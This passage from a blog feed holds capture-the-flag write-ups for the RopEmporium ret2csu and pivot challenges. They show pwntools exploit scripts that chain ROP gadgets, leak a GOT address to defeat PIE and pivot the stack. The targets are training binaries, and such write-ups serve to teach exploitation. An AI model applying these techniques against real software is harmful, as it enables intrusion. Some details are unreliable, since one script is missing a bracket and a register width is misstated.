<p>So, what will these allow us to do? Well, we can see that the second gadget moves items from registers <code class="language-plaintext highlighter-rouge">r15</code>, <code class="language-plaintext highlighter-rouge">r14</code>, and <code class="language-plaintext highlighter-rouge">r13d</code> into the <code class="language-plaintext highlighter-rouge">rdx</code>, <code class="language-plaintext highlighter-rouge">rsi</code>, and <code class="language-plaintext highlighter-rouge">edi</code> registers respectively. This is exactly what we want! Furthermore, gadget one will allow us to populate <code class="language-plaintext highlighter-rouge">r15</code>, <code class="language-plaintext highlighter-rouge">r14</code>, and <code class="language-plaintext highlighter-rouge">r13d</code> in the first place!</p>

<h1 id="exploitation">Exploitation</h1>
<p>So, the payload is looking like this…</p>
<ol>
  <li>40 bytes to overflow the buffer up the <code class="language-plaintext highlighter-rouge">rip</code>,</li>
  <li>The address of gadget 1 followed by our three arguments and then some junk to satisfy <code class="language-plaintext highlighter-rouge">r12</code>, <code class="language-plaintext highlighter-rouge">rbp</code>, and <code class="language-plaintext highlighter-rouge">rbx</code> (since they won’t end up being moved anywhere we need)</li>
  <li>Our second gadget to move our arguments into the proper registers</li>
  <li>And then the address of <code class="language-plaintext highlighter-rouge">ret2win()</code>!!</li>
</ol>

<p>This all checks out right? Well, as we’ll find out, not entirely. But lets set up the start of a python script and we can get debugging.</p>

<p>The start of the script is pretty basic. We’ll define our executable as an <code class="language-plaintext highlighter-rouge">ELF</code> object, make it so we can interact with it as a process, and define our offset.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'ret2csu'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>
</code></pre></div></div>

<p>Next we can dig into <code class="language-plaintext highlighter-rouge">gdb</code> and define the addresses of those gadgets as well as the address of <code class="language-plaintext highlighter-rouge">ret2win()</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pop_gadgets</span> <span class="o">=</span> <span class="mh">0x40069a</span>
<span class="n">mov_gadgets</span> <span class="o">=</span> <span class="mh">0x400680</span>
<span class="n">ret2win</span> <span class="o">=</span> <span class="mh">0x400510</span>
</code></pre></div></div>

<p>And then we can craft our payload and try to send it!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
	<span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
	<span class="n">pop_gadgets</span><span class="p">,</span>
	<span class="mh">0x0</span><span class="p">,</span>
	<span class="mh">0x1</span><span class="p">,</span>
	<span class="mh">0x2</span><span class="p">,</span>
	<span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
	<span class="mh">0xcafebabecafebabe</span><span class="p">,</span>
	<span class="mh">0xd00df00dd00df00d</span><span class="p">,</span>
	<span class="n">mov_gadgets</span><span class="p">,</span>
	<span class="n">ret2win</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Aaaaanndd we segfaulted. So, let’s dive into some debugging. I’m going to set a break point at the address of first gadget we’re using so I can debug the whole ROP chain.</p>

<p>After attaching <code class="language-plaintext highlighter-rouge">gdb</code> to the process and setting a break point, I found there was one instruction at the end of the second gadget that was causing a segfault.</p>

<p><img src="bad_instruction.png" alt="" /></p>

<p>After some googling, I figured out why this is. This instruction requires a pointer to a valid function. In the current payload <code class="language-plaintext highlighter-rouge">rbx</code> is being filled with 0x0 and <code class="language-plaintext highlighter-rouge">r12</code> is being filled with 0x2. This would result in a pointer that is not valid and would cause a segfault. How can we get around this? Well, we can find a pointer to a function within the binary that when called won’t really do anything.</p>

<p>One section where we can look for pointers to potentially useful things is in the <code class="language-plaintext highlighter-rouge">.dynamic</code> section of this ELF executable. This section is present because this program is dynamically linked. The function I used is the <code class="language-plaintext highlighter-rouge">__fini</code> function and a pointer to it exists in the <code class="language-plaintext highlighter-rouge">.dynamic</code> section which works out. I can grab the pointer to this function from ghidra. So, the instruction should theoretically end up like this: <code class="language-plaintext highlighter-rouge">call qword ptr [__fini + rbx*8]</code>. And for this to be accurate we’ll want <code class="language-plaintext highlighter-rouge">rbx*8</code> to be a non factor so we’ll just put <code class="language-plaintext highlighter-rouge">0</code> into the <code class="language-plaintext highlighter-rouge">rbx</code> so that <code class="language-plaintext highlighter-rouge">rbx*8</code> evaluates to <code class="language-plaintext highlighter-rouge">0</code>. The modified payload will look like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">fini_pointer</span> <span class="o">=</span> <span class="mh">0x00600e48</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
	<span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
	<span class="n">pop_gadgets</span><span class="p">,</span>
	<span class="mh">0x0</span><span class="p">,</span>
	<span class="mh">0x1</span><span class="p">,</span>
	<span class="n">fini_pointer</span><span class="p">,</span>
	<span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
	<span class="mh">0xcafebabecafebabe</span><span class="p">,</span>
	<span class="mh">0xd00df00dd00df00d</span><span class="p">,</span>
	<span class="n">mov_gadgets</span><span class="p">,</span>
	<span class="n">ret2win</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Let’s give it a whirl! Arggghhh, another segfault. Let’s hop back into the debugger. After some more debugging, we can see that we have indeed passed that <code class="language-plaintext highlighter-rouge">call</code> instruction we were stuck on before! But now we’ve got another problem. After the <code class="language-plaintext highlighter-rouge">__fini()</code> function is called, we return back into the <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> function. This is because our exploit execution flow looks like this; gadget 1, ret, gadget 2, call to <code class="language-plaintext highlighter-rouge">__fini()</code>, ret. That last ret puts us back into the place we left off in after gadget 2 in <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code>. If you remember, gadget 2 comes before gadget one in that the <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> function and there is no ret after it. So, we are now executing through the <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> function which means that we will hit gadget 1 again. Gadget 1 contains so many pops that it pops the return address of <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> off the stack which it was never intended to do! So, the item that end up getting popped off the stack to return to is the value 0x0 which would of course result in a segfault. So what can we do? Well, we can add some extra padding to fill up all those pop instructions so we can ensure that the address of <code class="language-plaintext highlighter-rouge">ret2csu()</code>, the place where <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> should return when it is done (because we put it on the stack via the buffer overflow), is popped off and correctly returned to. 7 bytes of padding should do the trick.</p>

<p>Ok, now let’s run the script again with our modified payload and see what happens!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
        <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
        <span class="n">pop_gadgets</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x1</span><span class="p">,</span>
        <span class="n">fini_pointer</span><span class="p">,</span>
        <span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
        <span class="mh">0xcafebabecafebabe</span><span class="p">,</span>
        <span class="mh">0xd00df00dd00df00d</span><span class="p">,</span>
        <span class="n">mov_gadgets</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span> 
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="n">ret2win</span>
<span class="p">])</span>
</code></pre></div></div>

<p>Rats!! We got another segfault!! Back into <code class="language-plaintext highlighter-rouge">gdb</code> we go.</p>

<p>Jumping back into <code class="language-plaintext highlighter-rouge">gdb</code> we can see that we are indeed getting the <code class="language-plaintext highlighter-rouge">ret2win()</code> function to execute! However, the program exits due to “incorrect parameters”. Upon closer inspection, the <code class="language-plaintext highlighter-rouge">rdi</code> register, which is supposed to contain the first argument of <code class="language-plaintext highlighter-rouge">0xdeadbeefdeadbeef</code>, only contains <code class="language-plaintext highlighter-rouge">0xdeadbeef</code>. Looking back through our gadgets it becomes clear why.</p>

<p>The gadget responsible for moving the <code class="language-plaintext highlighter-rouge">r13</code> register into the <code class="language-plaintext highlighter-rouge">rdi</code> register is moving <code class="language-plaintext highlighter-rouge">r13b</code> into <code class="language-plaintext highlighter-rouge">edi</code>, like so; <code class="language-plaintext highlighter-rouge">mov edi, r13b</code>. Even though the full argument is popped into <code class="language-plaintext highlighter-rouge">r13</code>, only the lower 32 bits (<code class="language-plaintext highlighter-rouge">r13b</code> represents the lower 32 bytes of the <code class="language-plaintext highlighter-rouge">r13</code> register) are moved into <code class="language-plaintext highlighter-rouge">rdi</code>. Or, in this case, the lower <code class="language-plaintext highlighter-rouge">32</code> bits of the full <code class="language-plaintext highlighter-rouge">rdi</code> register which here is represented as <code class="language-plaintext highlighter-rouge">edi</code>.</p>

<p>So, one thing we can do, is to try and find a <code class="language-plaintext highlighter-rouge">pop rdi; ret;</code> gadget within the binary to try and pop the full 64 bit argument into the <code class="language-plaintext highlighter-rouge">rdi</code> register. And what do ya know, there is one! We lucked out :)</p>

<p><img src="pop_rdi.png" alt="" /></p>

<p>Now, with our updated payload, we should get the flag!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pop_rdi</span> <span class="o">=</span> <span class="mh">0x00000000004006a3</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
        <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
        <span class="n">pop_gadgets</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x1</span><span class="p">,</span>
        <span class="n">fini_pointer</span><span class="p">,</span>
        <span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
        <span class="mh">0xcafebabecafebabe</span><span class="p">,</span>
        <span class="mh">0xd00df00dd00df00d</span><span class="p">,</span>
        <span class="n">mov_gadgets</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span> 
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="n">pop_rdi</span><span class="p">,</span>
        <span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
        <span class="n">ret2win</span>
<span class="p">])</span>
</code></pre></div></div>

<p>And what do ya know, it works! This was a fun challenge that taught me about a cool ROP technique. Below is the full exploit.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'ret2csu'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>

<span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>

<span class="n">pop_gadgets</span> <span class="o">=</span> <span class="mh">0x40069a</span>
<span class="n">mov_gadgets</span> <span class="o">=</span> <span class="mh">0x400680</span>
<span class="n">ret2win</span> <span class="o">=</span> <span class="mh">0x400510</span>
<span class="n">fini_pointer</span> <span class="o">=</span> <span class="mh">0x00600e48</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="mh">0x00000000004006a3</span>

<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
        <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
        <span class="n">pop_gadgets</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x1</span><span class="p">,</span>
        <span class="n">fini_pointer</span><span class="p">,</span>
        <span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
        <span class="mh">0xcafebabecafebabe</span><span class="p">,</span>
        <span class="mh">0xd00df00dd00df00d</span><span class="p">,</span>
        <span class="n">mov_gadgets</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span> 
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="mh">0x0</span><span class="p">,</span>
        <span class="n">pop_rdi</span><span class="p">,</span>
        <span class="mh">0xdeadbeefdeadbeef</span><span class="p">,</span>
        <span class="n">ret2win</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="ropemporium" /><summary type="html"><![CDATA[Here is my write-up for the RopEmporium challenge ret2csu! Another great challenge by the creator of RopEmporium.]]></summary></entry><entry><title type="html">Rop Emporium - Pivot</title><link href="https://gabri3l.net/RopEmporium-Pivot/" rel="alternate" type="text/html" title="Rop Emporium - Pivot" /><published>2023-07-27T00:00:00+07:00</published><updated>2023-07-27T00:00:00+07:00</updated><id>https://gabri3l.net/RopEmporium-Pivot</id><content type="html" xml:base="https://gabri3l.net/RopEmporium-Pivot/"><![CDATA[<p>Here is my write-up for Pivot! This is probably my second favorite challenge of the RopEmporium series.</p>

<h1 id="recon">Recon</h1>
<p>According to the challenge description we have to call the <code class="language-plaintext highlighter-rouge">ret2win()</code> function which resides in the shared library given to us called <code class="language-plaintext highlighter-rouge">libpivot.so</code>. The problem is PIE is enabled on <code class="language-plaintext highlighter-rouge">libpivot.so</code>. This means that even though it is accessible at runtime, we have no idea where <code class="language-plaintext highlighter-rouge">ret2win()</code> will be located in order to call it. Somehow we must leak a value in <code class="language-plaintext highlighter-rouge">libpivot.so</code> at runtime, calculate the base address of <code class="language-plaintext highlighter-rouge">libpivot.so</code> and then find the address at runtime of <code class="language-plaintext highlighter-rouge">ret2win()</code>. And it looks like there is one such function that will allow us to do just that.</p>

<p>Looking at the functions in the <code class="language-plaintext highlighter-rouge">pivot</code> binary in GDB, we see a function called <code class="language-plaintext highlighter-rouge">foothold_function()</code>.</p>

<p><img src="pivot-functions.png" alt="" /></p>

<p>The challenge description hints that we will have to call this <code class="language-plaintext highlighter-rouge">foothold_function()</code> so that it will update its entry in the GOT. Then we will have to find a way to print out it’s value in the GOT. The function’s GOT value will be the address where it currently resides in <code class="language-plaintext highlighter-rouge">libpivot.so</code> at runtime. We can use this information to find the base address of <code class="language-plaintext highlighter-rouge">libpivot.so</code> and then  by extension the address of <code class="language-plaintext highlighter-rouge">ret2win()</code> at runtime. Now, let’s have a look at the program itself so that we can get an idea of how to achieve this.</p>

<p><img src="program-menu.png" alt="" /></p>

<p>When we run the program, we are presented with two prompts. The first asks us to send a ROP chain and tells us that it will land at a specific address. The second prompt asks us to smash the stack. So, based on what we know, the exploit chain will look something like this. At the first prompt, we will send a ROP chain that calls <code class="language-plaintext highlighter-rouge">foothold_function()</code> in order to populate the GOT and calls <code class="language-plaintext highlighter-rouge">puts()</code> with the <code class="language-plaintext highlighter-rouge">foodhold_function@got</code> address as the main argument so that we can print out the address of <code class="language-plaintext highlighter-rouge">foothold_function()</code> in the GOT at runtime. We will then return back to main so that we can finish our exploit chain.</p>

<h1 id="exploitation">Exploitation</h1>
<p>The first payload, written with python and pwntools, can be seen below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload1</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'foothold_function'</span><span class="p">],</span>
    <span class="n">pop_rdi</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'foothold_function'</span><span class="p">],</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">main</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>
</code></pre></div></div>

<p>We call the <code class="language-plaintext highlighter-rouge">foothold_function()</code> (we can do this because it is imported into the program itself) and use a <code class="language-plaintext highlighter-rouge">pop rdi; ret;</code> gadget to pop the address of the <code class="language-plaintext highlighter-rouge">foothold_function()</code> in the GOT into the <code class="language-plaintext highlighter-rouge">rdi</code> register. This is where the first function argument is stored according to x86_64 bit calling conventions. Then, <code class="language-plaintext highlighter-rouge">puts()</code> is called which prints out the aforementioned address. Finally, <code class="language-plaintext highlighter-rouge">main()</code> is called so we can return back to the start of the program to finish our exploit chain.</p>

<p>Now that’s the first stage of the exploit written. The only problem is, after we send it and arrive at the second prompt, our ROP chain lays dormant at the <code class="language-plaintext highlighter-rouge">pivot</code> address we are given. So, somehow, we will have to utilize the second prompt to attempt to redirect program execution to our dormant ROP chain.</p>

<p>The program itself hints that we will have to smash the stack and cause a buffer overflow to redirect program execution and this is confirmed by looking in Ghidra.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">pwnme</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">undefined</span> <span class="n">local_28</span> <span class="p">[</span><span class="mi">32</span><span class="p">];</span>
  
  <span class="n">memset</span><span class="p">(</span><span class="n">local_28</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Call ret2win() from libpivot"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"The Old Gods kindly bestow upon you a place to pivot: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">param_1</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Send a ROP chain now and it will land there"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">param_1</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Thank you!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Now please send your stack smash"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_28</span><span class="p">,</span><span class="mh">0x40</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Thank you!"</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Above we can see that when we are asked to smash the stack, we are reading in 0x40 bytes into a 32 byte buffer. Here is our buffer overflow! Now we can hop into GDB to find the number of bytes we will need in order to cause the buffer overflow and gain control of the instruction pointer.</p>

<p><img src="stack-smash.png" alt="" /></p>

<p>And, using a cyclic pattern, we found that the offset to the instruction pointer (<code class="language-plaintext highlighter-rouge">rip</code>) is 40 bytes! So now that we control program execution, how will we redirect execution to our ROP chain stored elsewhere in memory? That is where the <code class="language-plaintext highlighter-rouge">usefulGadgets()</code> function comes in!</p>

<p><img src="usefulgadgets.png" alt="" /></p>

<p>The gadgets we are interested in are the <code class="language-plaintext highlighter-rouge">pop rax; ret;</code> and <code class="language-plaintext highlighter-rouge">xchg rsp, rax; ret</code> gadgets. These would allow us to pop our pivot address we are given into <code class="language-plaintext highlighter-rouge">rax</code>. Then we can call the <code class="language-plaintext highlighter-rouge">xchg</code> gadget which will take our address we popped into <code class="language-plaintext highlighter-rouge">rax</code> and put it into <code class="language-plaintext highlighter-rouge">rsp</code>. Now our stack pointer points to our dormant ROP chain in memory. That payload would look like the following.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>
<span class="n">pop_rax</span> <span class="o">=</span> <span class="mh">0x00000000004009bb</span>
<span class="n">xchg_rsp_rax</span> <span class="o">=</span> <span class="mh">0x00000000004009bd</span>

<span class="n">payload2</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
    <span class="n">pop_rax</span><span class="p">,</span>
    <span class="n">pivot_address</span><span class="p">,</span>
    <span class="n">xchg_rsp_rax</span>
<span class="p">])</span>
</code></pre></div></div>

<p>So once we send our second payload, our first payload will then execute. And as a result, we are back at <code class="language-plaintext highlighter-rouge">main()</code>. Before we can send our third payload to call <code class="language-plaintext highlighter-rouge">ret2win()</code> we need to take care of some things. As a result of our first ROP chain we have the address of <code class="language-plaintext highlighter-rouge">foothold_function()</code> at the GOT. We’ll need to parse this address and then calculate the base address of <code class="language-plaintext highlighter-rouge">libpivot.so</code>. That code would look like the following.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libpivot</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libpivot.so'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'libpivot'</span><span class="p">)</span>
<span class="n">data2</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">data2</span> <span class="o">=</span> <span class="n">data2</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="se">\n</span><span class="s">Leaked string here </span><span class="si">{</span><span class="n">data2</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">byte_string</span> <span class="o">=</span> <span class="n">data2</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">foothold_got</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">byte_string</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'foothold@got </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">foothold_got</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">libpivot_base</span> <span class="o">=</span> <span class="n">foothold_got</span> <span class="o">-</span> <span class="n">libpivot</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">foothold_function</span>
<span class="n">ret2win</span> <span class="o">=</span> <span class="n">libpivot_base</span> <span class="o">+</span> <span class="n">libpivot</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">ret2win</span>
</code></pre></div></div>

<p>Once we receive our leaked address we can parse it and convert it to an integer. Then we can take our leaked address and subtract it by its offset within <code class="language-plaintext highlighter-rouge">libcpivot.so</code>. This will yield our <code class="language-plaintext highlighter-rouge">libpivot.so</code> base address! Then we can calculate the address of the <code class="language-plaintext highlighter-rouge">ret2win()</code> function by adding the <code class="language-plaintext highlighter-rouge">ret2win()</code> offset found in <code class="language-plaintext highlighter-rouge">libpivot.so</code> with the <code class="language-plaintext highlighter-rouge">libpivot.so</code> base address. Now we know the location of <code class="language-plaintext highlighter-rouge">ret2win()</code> at runtime! And we can have a look below at what our exploit looks like so far when we run the script.</p>

<p><img src="twopayloads-down.png" alt="" /></p>

<p>So, now that we are back at <code class="language-plaintext highlighter-rouge">main()</code> we can send our final payload. This payload is quite simple; 40 bytes of junk and then our <code class="language-plaintext highlighter-rouge">ret2win()</code>  address!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload3</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
    <span class="n">ret2win</span>
    
<span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload3</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>With those three payloads we should get our flag. And we do, how about that!</p>

<p><img src="flag.png" alt="" /></p>

<p>Below is the full exploit script. I hope you enjoyed this write-up!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> 
<span class="kn">import</span> <span class="nn">binascii</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'pivot'</span><span class="p">)</span>
<span class="n">libpivot</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libpivot.so'</span><span class="p">)</span>

<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'critical'</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>

<span class="n">pop_rdi</span> <span class="o">=</span> <span class="mh">0x0000000000400a33</span>

<span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>

<span class="n">payload1</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'foothold_function'</span><span class="p">],</span>
    <span class="n">pop_rdi</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'foothold_function'</span><span class="p">],</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">main</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'pivot: '</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">pivot_address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Pivot address @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">pivot_address</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>

<span class="n">pop_rax</span> <span class="o">=</span> <span class="mh">0x00000000004009bb</span>
<span class="n">xchg_rsp_rax</span> <span class="o">=</span> <span class="mh">0x00000000004009bd</span>

<span class="n">payload2</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
    <span class="n">pop_rax</span><span class="p">,</span>
    <span class="n">pivot_address</span><span class="p">,</span>
    <span class="n">xchg_rsp_rax</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
